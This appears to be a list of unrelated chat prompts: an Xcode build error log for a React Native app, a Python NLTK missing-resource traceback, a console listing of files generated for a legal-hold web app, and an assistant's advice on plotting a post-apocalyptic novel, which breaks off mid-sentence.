/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-generated-files.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-own-target-headers.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-all-non-framework-target-headers.hmap -ivfsoverlay /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/all-product-headers.yaml -iquote /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/React-jsinspector-project-headers.hmap -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Products/Debug-iphonesimulator/React-jsinspector/include -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Private -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Private/React-jsinspector -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Public -I/Users/jameschege/WebstormProjects/supanova/ios/Pods/Headers/Public/React-jsinspector -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources-normal/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/DerivedSources -F/Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Products/Debug-iphonesimulator/React-jsinspector -fmodule-map-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/FlipperKit/FlipperKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/RCTTypeSafety/RCTTypeSafety.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React/React-Core.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/ReactCommon/ReactCommon.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React\\_Codegen/React-Codegen.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/folly/RCT-Folly.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/yoga/Yoga.modulemap -DFOLLY\\_NO\\_CONFIG -DFOLLY\\_MOBILE\\=1 -DFOLLY\\_USE\\_LIBCPP\\=1 -Wno-comma -Wno-shorten-64-to-32 -DREACT\\_NATIVE\\_MINOR\\_VERSION\\=71 -DREANIMATED\\_VERSION\\=3.0.2 -include /Users/jameschege/WebstormProjects/supanova/ios/Pods/Target\\ Support\\ Files/React-jsinspector/React-jsinspector-prefix.pch -MMD -MT dependencies -MF /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.d --serialize-diagnostics /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.dia -c /Users/jameschege/WebstormProjects/supanova/ios/Pods/Target\\ Support\\ Files/React-jsinspector/React-jsinspector-dummy.m -o /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.o -index-unit-output-path /Pods.build/Debug-iphonesimulator/React-jsinspector.build/Objects-normal/arm64/React-jsinspector-dummy.o\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found\n1 error generated." -'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in \n 42 \n 43 # Preprocess train and test text data\n---> 44 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 45 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 46 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in preprocess\\_text(text)\n 36 # Lemmatize\n 37 lemmatizer = WordNetLemmatizer()\n---> 38 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 39 # Join tokens back into a string\n 40 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3118448898.py in (.0)\n 36 # Lemmatize\n 37 lemmatizer = WordNetLemmatizer()\n---> 38 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 39 # Join tokens back into a string\n 40 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\nstill error' -"it created 14 dir and 38 files but the wrong structure, doesn't match the original. Here are the paths created from the terminal window\nCurrent working directory: C:\\Users\\JonRowe\\Documents\\Scripts\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/AuditLogListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/LegalHoldSummary.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/LegalHoldsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/CustodiansContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/NotificationsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/PoliciesContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/AuditLogsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/Dashboard.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/App.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/legalHold.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/custodian.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/notification.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/policy.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/auditLog.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/legalHolds.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/custodians.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/notifications.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/policies.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/auditLogs.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/legalHoldsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/custodiansController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/notificationsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/policiesController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/auditLogsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/app.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.env\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/package.json\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.gitignore" -'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could 